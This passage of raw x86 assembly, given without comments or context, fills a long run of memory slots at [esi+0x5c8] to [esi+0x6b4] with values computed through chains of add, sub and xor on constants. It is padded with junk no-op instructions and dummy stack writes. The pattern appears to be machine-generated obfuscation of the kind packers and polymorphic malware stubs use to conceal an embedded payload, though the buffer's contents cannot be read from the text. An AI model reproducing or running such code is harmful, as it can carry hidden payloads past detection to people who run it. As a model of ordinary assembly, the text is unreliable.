xor dword [esi + 0x5c8], 0x4127f9c9
sub dword [esi + 0x5c8], 0x39f3430c
mov edx, edx
xor dword [esi + 0x5c8], 0x4522b04b
mov dword [esi + 0x5cc], 0x21304a62
xor dword [esi + 0x5cc], 0x63cd0021
mov dword [esp - 0x2c], esp
sub dword [esi + 0x5cc], 0x4866a76
xor dword [esi + 0x5cc], 0x542d3e8b
xor dword [esi + 0x5cc], 0x456fe4cc
add dword [esi + 0x5cc], 0xa88b171e
mov dword [esp - 0x40], ecx
mov dword [esi + 0x5d0], 0x359766ce
sub dword [esi + 0x5d0], 0x1b638571
add dword [esi + 0x5d0], 0x42ca46cd
xor dword [esi + 0x5d0], 0x5acb4e19
mov dword [esp - 0x34], 0x58b5be23
add dword [esi + 0x5d0], 0x5ad9fffe
sub dword [esi + 0x5d0], 0x1f94f662
sub dword [esi + 0x5d0], 0x417a6fcf
mov dword [esp - 0x38], esp
mov dword [esi + 0x5d4], 0x3a031c2e
add dword [esi + 0x5d4], 0x2161a2ae
sub dword [esi + 0x5d4], 0x454a31a6
mov dword [esp - 0x1c], ebx
add dword [esi + 0x5d4], 0x1946434c
sub dword [esi + 0x5d4], 0x15048b9d
mov dword [esi + 0x5d8], 0x4004fd32
mov dword [esp - 0x38], 0xbbc4ab
xor dword [esi + 0x5d8], 0x61d9f294
xor dword [esi + 0x5d8], 0x2bb60cdf
add dword [esi + 0x5d8], 0x2563a016
xor dword [esi + 0x5d8], 0x7162c9b2
xchg esp, esp
sub dword [esi + 0x5d8], 0x181e66ee
sub dword [esi + 0x5d8], 0x468e034f
mov dword [esi + 0x5dc], 0x5c483402
sub dword [esi + 0x5dc], 0x3bd78a90
mov dword [esp - 0x24], 0x6fe62753
xor dword [esi + 0x5dc], 0x55ecbb6d
sub dword [esi + 0x5dc], 0x1e0bd621
xor dword [esi + 0x5dc], 0x1cd2e16
xchg ebp, ebp
add dword [esi + 0x5dc], 0x44750476
mov dword [esi + 0x5e0], 0x367e8744
xor dword [esi + 0x5e0], 0x320d44db
add dword [esi + 0x5e0], 0x2d5d8fdd
mov dword [esp - 0x14], 0x30ab96bd
sub dword [esi + 0x5e0], 0x10993b4d
sub dword [esi + 0x5e0], 0x13d52793
sub dword [esi + 0x5e0], 0xd62f09c
mov esp, esp
mov dword [esi + 0x5e4], 0x7be45185
xor dword [esi + 0x5e4], 0x17416140
sub dword [esi + 0x5e4], 0x6610b72d
xchg esi, esi
add dword [esi + 0x5e4], 0x12b86785
add dword [esi + 0x5e4], 0x29dae3de
xor dword [esi + 0x5e4], 0x73fc4df0
xor dword [esi + 0x5e4], 0xe0b066d3
xchg esi, esi
mov dword [esi + 0x5e8], 0x1819e458
add dword [esi + 0x5e8], 0x29e71908
add dword [esi + 0x5e8], 0xb8608dd
add dword [esi + 0x5e8], 0x2c478950
mov ebx, ebx
sub dword [esi + 0x5e8], 0x2f07959e
sub dword [esi + 0x5e8], 0x17d6dbd4
xor dword [esi + 0x5e8], 0x32f01e1b
mov dword [esi + 0x5ec], 0x15f13198
mov ebp, ebp
xor dword [esi + 0x5ec], 0x173f6f9
sub dword [esi + 0x5ec], 0x61ff66
add dword [esi + 0x5ec], 0x5f213458
sub dword [esi + 0x5ec], 0x7128ac7b
xchg ecx, ecx
xor dword [esi + 0x5ec], 0xa358cdc5
mov dword [esi + 0x5f0], 0x5b4550ac
sub dword [esi + 0x5f0], 0x4178e56b
sub dword [esi + 0x5f0], 0xb180eb3
mov esi, esi
add dword [esi + 0x5f0], 0x4976fa05
sub dword [esi + 0x5f0], 0x19f70c1c
add dword [esi + 0x5f0], 0x27027ddb
sub dword [esi + 0x5f0], 0x6536c852
xchg esp, esp
mov dword [esi + 0x5f4], 0x64e63516
sub dword [esi + 0x5f4], 0x6feec7c
sub dword [esi + 0x5f4], 0x50d5d127
mov dword [esp - 0xc], 0x119afda9
add dword [esi + 0x5f4], 0x665c993f
sub dword [esi + 0x5f4], 0x4a5ab99f
mov dword [esi + 0x5f8], 0x7248805a
sub dword [esi + 0x5f8], 0x6eecd0d5
mov dword [esp - 0x20], edx
add dword [esi + 0x5f8], 0x62b182d1
add dword [esi + 0x5f8], 0x3785f62
sub dword [esi + 0x5f8], 0x698591b8
mov ebp, ebp
mov dword [esi + 0x5fc], 0x738d8c6b
sub dword [esi + 0x5fc], 0x1900ee1b
add dword [esi + 0x5fc], 0x17b51740
mov dword [esp - 0xc], 0x3ae95bd1
sub dword [esi + 0x5fc], 0x1bcfb157
sub dword [esi + 0x5fc], 0x3dc14891
add dword [esi + 0x5fc], 0xdb21235
xchg ecx, ecx
xor dword [esi + 0x5fc], 0xe53868dd
mov dword [esi + 0x600], 0x7c39c273
sub dword [esi + 0x600], 0x6fdfa08e
mov dword [esp - 0x34], 0x3affec3c
xor dword [esi + 0x600], 0x2360b301
add dword [esi + 0x600], 0x42472b8
add dword [esi + 0x600], 0x3f526000
sub dword [esi + 0x600], 0x44f21937
mov edi, edi
sub dword [esi + 0x600], 0x2dbf4c65
mov dword [esi + 0x604], 0x2000dbcf
add dword [esi + 0x604], 0x3b8d8ec5
sub dword [esi + 0x604], 0x307dc445
mov dword [esp - 0x40], ebp
xor dword [esi + 0x604], 0x123cafb1
xor dword [esi + 0x604], 0x7e700aca
mov dword [esi + 0x608], 0x2d9c072b
mov dword [esp - 0xc], 0x65987bea
xor dword [esi + 0x608], 0x4a999132
xor dword [esi + 0x608], 0x2f3d9dc3
xor dword [esi + 0x608], 0x3a896c9d
sub dword [esi + 0x608], 0x72b16747
mov dword [esp - 0x10], 0x52d323de
mov dword [esi + 0x60c], 0x156a2fcd
add dword [esi + 0x60c], 0x196fdb92
sub dword [esi + 0x60c], 0x27b81e4e
xor dword [esi + 0x60c], 0x16eb31b7
mov ebx, ebx
add dword [esi + 0x60c], 0x302f8a7a
mov dword [esi + 0x610], 0x36d2a70e
sub dword [esi + 0x610], 0x2c80d1a9
xor dword [esi + 0x610], 0x269c848e
mov dword [esp - 0xc], edx
xor dword [esi + 0x610], 0xeaee46b
add dword [esi + 0x610], 0x140d72ea
sub dword [esi + 0x610], 0x3671286a
mov dword [esi + 0x614], 0x35b0f58
mov dword [esp - 0x30], esi
add dword [esi + 0x614], 0x59311866
xor dword [esi + 0x614], 0x229cdd00
xor dword [esi + 0x614], 0x20aee007
add dword [esi + 0x614], 0x11427c7a
mov esi, esi
mov dword [esi + 0x618], 0x49ee131e
xor dword [esi + 0x618], 0x57a86a79
add dword [esi + 0x618], 0x4fb4a75e
mov ebx, ebx
sub dword [esi + 0x618], 0x37fa7dbc
sub dword [esi + 0x618], 0x3600a309
mov dword [esi + 0x61c], 0x34c29a80
xchg esi, esi
add dword [esi + 0x61c], 0x57b94ca
xor dword [esi + 0x61c], 0x18cef4ce
xor dword [esi + 0x61c], 0x2f26f77
mov dword [esp - 0x1c], 0x6274c39
xor dword [esi + 0x61c], 0xeb5588e8
mov dword [esi + 0x620], 0x109dc216
xor dword [esi + 0x620], 0x40dd0813
mov ebx, ebx
sub dword [esi + 0x620], 0x1d40fff2
sub dword [esi + 0x620], 0x8f04b38
sub dword [esi + 0x620], 0x2a0f7edb
mov dword [esi + 0x624], 0x29222224
xchg ebp, ebp
sub dword [esi + 0x624], 0x1b2f2498
add dword [esi + 0x624], 0x3a1ab7ce
xor dword [esi + 0x624], 0x947bf5b
sub dword [esi + 0x624], 0x398ee243
mov dword [esp - 0x18], 0xeb4c7f2
add dword [esi + 0x624], 0xde70b33
mov dword [esi + 0x628], 0x12604a53
add dword [esi + 0x628], 0xe06e6a7
add dword [esi + 0x628], 0x32442e44
mov edx, edx
sub dword [esi + 0x628], 0x489c5428
xor dword [esi + 0x628], 0x5206b016
xor dword [esi + 0x628], 0x5809bb00
mov dword [esi + 0x62c], 0x202f42d3
mov ebx, ebx
xor dword [esi + 0x62c], 0x527a00e6
xor dword [esi + 0x62c], 0x2ecbbfb5
sub dword [esi + 0x62c], 0x157514a4
mov dword [esp - 0x28], edi
add dword [esi + 0x62c], 0x233cced9
sub dword [esi + 0x62c], 0x3a547973
xor dword [esi + 0x62c], 0x7a7baf8
mov dword [esi + 0x630], 0xd8cf50f
xchg ebx, ebx
xor dword [esi + 0x630], 0x6a401467
xor dword [esi + 0x630], 0x727cf353
xor dword [esi + 0x630], 0x51a0895b
sub dword [esi + 0x630], 0x3c9a1414
xchg ebx, ebx
xor dword [esi + 0x630], 0x830fe55
xor dword [esi + 0x630], 0xf467919
mov dword [esi + 0x634], 0x7615ac2
add dword [esi + 0x634], 0xe0c35a5
mov esp, esp
xor dword [esi + 0x634], 0x2c86e09
add dword [esi + 0x634], 0x17e70333
xor dword [esi + 0x634], 0x6ce1ec7d
xchg ebx, ebx
add dword [esi + 0x634], 0x4fa9062c
mov dword [esi + 0x638], 0x47ef1f8e
add dword [esi + 0x638], 0xd05a11a
add dword [esi + 0x638], 0x1bd81e0a
xchg edi, edi
sub dword [esi + 0x638], 0x345ff886
sub dword [esi + 0x638], 0x34826dfc
add dword [esi + 0x638], 0x1937612
mov dword [esp - 0x30], 0x487ee094
sub dword [esi + 0x638], 0x97dee42
mov dword [esi + 0x63c], 0x7cb96e31
sub dword [esi + 0x63c], 0x1096321f
xor dword [esi + 0x63c], 0x79628d2b
mov ebp, ebp
xor dword [esi + 0x63c], 0x45e4987b
xor dword [esi + 0x63c], 0x335f3466
mov dword [esi + 0x640], 0x1d744022
add dword [esi + 0x640], 0x22544df8
mov dword [esp - 0x2c], 0x745a756d
add dword [esi + 0x640], 0xcd7300
xor dword [esi + 0x640], 0xaa517a5
sub dword [esi + 0x640], 0x10e52b36
sub dword [esi + 0x640], 0x1984b133
mov dword [esp - 0x24], edi
sub dword [esi + 0x640], 0x1fc93a56
mov dword [esi + 0x644], 0x16f1be45
xor dword [esi + 0x644], 0x3aabfa5c
mov dword [esp - 0x24], 0x53c55f72
add dword [esi + 0x644], 0x2cf6cd41
xor dword [esi + 0x644], 0x33b583b4
sub dword [esi + 0x644], 0x1df297d2
add dword [esi + 0x644], 0x1b41196c
xchg edi, edi
mov dword [esi + 0x648], 0xc7690ab
xor dword [esi + 0x648], 0x169a0097
sub dword [esi + 0x648], 0x7b9270e
xchg ebp, ebp
add dword [esi + 0x648], 0x51fad7b2
xor dword [esi + 0x648], 0x3e8042e2
sub dword [esi + 0x648], 0x274ed9
mov esi, esi
xor dword [esi + 0x648], 0x5b86b329
mov dword [esi + 0x64c], 0x6d8f74d6
xor dword [esi + 0x64c], 0x6fa758ba
mov ecx, ecx
xor dword [esi + 0x64c], 0x2f298bc2
add dword [esi + 0x64c], 0x280761e3
sub dword [esi + 0x64c], 0x4853c797
add dword [esi + 0x64c], 0x2243398b
xchg ebx, ebx
xor dword [esi + 0x64c], 0xc1672f4b
mov dword [esi + 0x650], 0x4ed9ba1
xor dword [esi + 0x650], 0x396a6e7f
sub dword [esi + 0x650], 0x348aee0e
mov dword [esp - 0x38], 0x7a5a7e7a
xor dword [esi + 0x650], 0x50ec22fd
sub dword [esi + 0x650], 0x5811252d
mov dword [esi + 0x654], 0x1f582984
xchg edi, edi
add dword [esi + 0x654], 0x311f01cb
sub dword [esi + 0x654], 0x45bc3dfe
sub dword [esi + 0x654], 0x8104471
xor dword [esi + 0x654], 0x5539711
mov dword [esp - 0x2c], ebp
xor dword [esi + 0x654], 0xe6cdea6f
mov dword [esi + 0x658], 0x7faea2a1
sub dword [esi + 0x658], 0x13ed061e
mov dword [esp - 0x40], 0x4913a19b
sub dword [esi + 0x658], 0x5b0bd8ff
xor dword [esi + 0x658], 0x724e9322
sub dword [esi + 0x658], 0x460d8fed
mov dword [esp - 0x34], 0x13901d84
xor dword [esi + 0x658], 0x1cedc0b9
mov dword [esi + 0x65c], 0x248a6da2
sub dword [esi + 0x65c], 0x15658ce
xor dword [esi + 0x65c], 0x4374b1eb
mov ebx, ebx
xor dword [esi + 0x65c], 0x3c36eeb
xor dword [esi + 0x65c], 0x5f938a35
add dword [esi + 0x65c], 0x1e57e9c3
mov dword [esp - 0x3c], edi
add dword [esi + 0x65c], 0x3c06055b
mov dword [esi + 0x660], 0x9b7a41b
xor dword [esi + 0x660], 0x6cfbe441
xchg esp, esp
sub dword [esi + 0x660], 0x5f89da98
add dword [esi + 0x660], 0x3990c7f1
xor dword [esi + 0x660], 0x3ed11b1
sub dword [esi + 0x660], 0x212b6295
mov ebp, ebp
sub dword [esi + 0x660], 0x1b92d96d
mov dword [esi + 0x664], 0x677472a9
sub dword [esi + 0x664], 0x17f9b5e8
mov dword [esp - 0x14], 0x4afed203
xor dword [esi + 0x664], 0x28cdaf0b
sub dword [esi + 0x664], 0x18d18974
sub dword [esi + 0x664], 0x1b817589
add dword [esi + 0x664], 0xe97280c
mov dword [esp - 0x30], 0x69124e2d
mov dword [esi + 0x668], 0x6f05fe8f
xor dword [esi + 0x668], 0x4c11f3c7
sub dword [esi + 0x668], 0xcbb1adb
xor dword [esi + 0x668], 0x1659100b
mov ebp, ebp
sub dword [esi + 0x668], 0x1e266
mov dword [esi + 0x66c], 0x2e250410
sub dword [esi + 0x66c], 0x2726e4a7
xchg ebp, ebp
xor dword [esi + 0x66c], 0x5418ceb
add dword [esi + 0x66c], 0x7683a63d
sub dword [esi + 0x66c], 0x1b5a8a7a
xchg esp, esp
add dword [esi + 0x66c], 0x36323e0
mov dword [esi + 0x670], 0x61b3cfc9
sub dword [esi + 0x670], 0x1a9f29a7
add dword [esi + 0x670], 0x34fab308
mov dword [esp - 0x2c], edi
xor dword [esi + 0x670], 0x39a7815
xor dword [esi + 0x670], 0x7f95213f
mov dword [esi + 0x674], 0x770393f7
xor dword [esi + 0x674], 0x58687ded
mov dword [esp - 0x24], esi
xor dword [esi + 0x674], 0x6fa103c1
xor dword [esi + 0x674], 0x56768ae9
xor dword [esi + 0x674], 0x43c88273
xor dword [esi + 0x674], 0x53e0db20
mov esi, esi
add dword [esi + 0x674], 0x41ff148e
mov dword [esi + 0x678], 0x66da6700
xor dword [esi + 0x678], 0x18b78dd5
xchg edi, edi
sub dword [esi + 0x678], 0x32938c8
xor dword [esi + 0x678], 0x65bda24
xor dword [esi + 0x678], 0x465aa9c9
xchg ecx, ecx
xor dword [esi + 0x678], 0x3f6bfdf9
sub dword [esi + 0x678], 0x42e3c19
mov dword [esi + 0x67c], 0x27f1586d
mov ebp, ebp
xor dword [esi + 0x67c], 0x57e138fb
add dword [esi + 0x67c], 0x4230114
sub dword [esi + 0x67c], 0x6be9c6d2
add dword [esi + 0x67c], 0xf2c200bf
mov edx, edx
mov dword [esi + 0x680], 0x7eb915f5
sub dword [esi + 0x680], 0x5585dcfa
sub dword [esi + 0x680], 0x2408afd
add dword [esi + 0x680], 0x53ba1210
mov edx, edx
sub dword [esi + 0x680], 0x18356f16
sub dword [esi + 0x680], 0x627750f8
mov dword [esi + 0x684], 0x6d5686f6
xchg edi, edi
sub dword [esi + 0x684], 0xd1c47d5
sub dword [esi + 0x684], 0x44a13937
xor dword [esi + 0x684], 0x5d4091ca
mov dword [esp - 0x3c], 0x227c9ec9
sub dword [esi + 0x684], 0x335de859
add dword [esi + 0x684], 0x42707
xor dword [esi + 0x684], 0x6a824c99
xchg esp, esp
mov dword [esi + 0x688], 0x3c11ddac
add dword [esi + 0x688], 0x32b93118
sub dword [esi + 0x688], 0x72518ca
mov dword [esp - 0xc], esp
xor dword [esi + 0x688], 0x285a9405
sub dword [esi + 0x688], 0x4fff61ff
mov dword [esi + 0x68c], 0x2b8c62dc
add dword [esi + 0x68c], 0x54287203
mov esi, esi
sub dword [esi + 0x68c], 0x17db3faa
xor dword [esi + 0x68c], 0x4e9db68e
add dword [esi + 0x68c], 0x53d6baf0
mov ecx, ecx
xor dword [esi + 0x68c], 0xfe1eabad
mov dword [esi + 0x690], 0x36cd65d6
sub dword [esi + 0x690], 0x368e4f6
add dword [esi + 0x690], 0x8161ddb
mov ebp, ebp
xor dword [esi + 0x690], 0x76281c4d
xor dword [esi + 0x690], 0x40e23982
xor dword [esi + 0x690], 0xdb0bb74
mov dword [esp - 0x30], ebp
mov dword [esi + 0x694], 0x537b63f4
xor dword [esi + 0x694], 0x1bf18153
xor dword [esi + 0x694], 0x226a32f6
xor dword [esi + 0x694], 0x1c676a5
xchg ebx, ebx
xor dword [esi + 0x694], 0x78e4669
mov dword [esi + 0x698], 0x4b970d19
sub dword [esi + 0x698], 0x6dee58b
sub dword [esi + 0x698], 0x100a4b49
mov dword [esp - 0x14], ecx
add dword [esi + 0x698], 0x2fa80f5f
sub dword [esi + 0x698], 0x2f4536a5
sub dword [esi + 0x698], 0xd3cec38
sub dword [esi + 0x698], 0x27d3c8c7
xchg edi, edi
mov dword [esi + 0x69c], 0x1c919624
add dword [esi + 0x69c], 0x508bdac8
sub dword [esi + 0x69c], 0x46097b73
sub dword [esi + 0x69c], 0x11a3e8db
mov esp, esp
xor dword [esi + 0x69c], 0x75341520
add dword [esi + 0x69c], 0x8089e844
mov dword [esi + 0x6a0], 0x3be3186
mov ecx, ecx
xor dword [esi + 0x6a0], 0x2f87416d
add dword [esi + 0x6a0], 0x4c1fde35
sub dword [esi + 0x6a0], 0x3425610f
mov ecx, ecx
sub dword [esi + 0x6a0], 0x1d9dfc9f
sub dword [esi + 0x6a0], 0x2695f172
mov dword [esi + 0x6a4], 0x72153e47
mov ebx, ebx
sub dword [esi + 0x6a4], 0x6b56dd66
xor dword [esi + 0x6a4], 0x27d121
add dword [esi + 0x6a4], 0x7b187b8
mov dword [esp - 0x30], 0x3f3e1428
add dword [esi + 0x6a4], 0x2e10c653
sub dword [esi + 0x6a4], 0x1224f1f3
sub dword [esi + 0x6a4], 0x1290ed4b
mov dword [esi + 0x6a8], 0x262d528
mov ebp, ebp
add dword [esi + 0x6a8], 0x5fd09e5d
sub dword [esi + 0x6a8], 0x4b1846ef
xor dword [esi + 0x6a8], 0x856f63d
mov ebx, ebx
add dword [esi + 0x6a8], 0x4c852b11
xor dword [esi + 0x6a8], 0x6bd305bc
mov dword [esi + 0x6ac], 0x8a77c10
add dword [esi + 0x6ac], 0x6cf637f6
xchg edi, edi
sub dword [esi + 0x6ac], 0x67750dd6
add dword [esi + 0x6ac], 0x1929e68c
add dword [esi + 0x6ac], 0x444dba06
add dword [esi + 0x6ac], 0x5b987e30
xchg esi, esi
mov dword [esi + 0x6b0], 0x1eefbeb
add dword [esi + 0x6b0], 0x121bbc88
add dword [esi + 0x6b0], 0x13855673
mov dword [esp - 0x10], ebx
sub dword [esi + 0x6b0], 0x1f68869
add dword [esi + 0x6b0], 0x4a2422a7
sub dword [esi + 0x6b0], 0x15a4658
xchg ecx, ecx
sub dword [esi + 0x6b0], 0x6e6362cc
mov dword [esi + 0x6b4], 0x44b49b49
xor dword [esi + 0x6b4], 0x428336a8
add dword [esi + 0x6b4], 0x5f4962f5
xchg ebp, ebp
sub dword [esi + 0x6b4], 0x5af4c5f9
add dword [esi + 0x6b4], 0x577300e4
xor dword [esi + 0x6b4], 0x3e6d987
xor dword [esi + 0x6b4], 0x8b3c41f9
xchg esp, esp
pop esi
ret